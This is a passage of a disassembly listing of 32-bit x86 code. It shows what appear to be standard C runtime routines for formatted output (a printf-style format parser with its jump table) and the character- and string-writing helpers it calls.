		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------


loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_43BC20


loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch


loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------


loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------


loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------


loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh


loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------


loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------


loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax


loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump


loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax


loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx


loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_4395A0	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8


loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh


loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_43959C
		mov	[ebp+var_8], ecx


loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------


loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------


loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8


loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_439598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1


loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B900
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B90C
		pop	ecx


loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B904
		pop	ecx


loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi


loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------


loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_439598
		mov	[ebp+var_8], ecx


loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx


loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------


loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8


loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7


loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------


loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h


loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah


loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax


loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx


loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C


loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------


loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0


loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0


loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417


loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]


loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442


loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax


loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h


loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1


loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h


loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h


loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64


loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------


loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]


loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF


loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5


loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

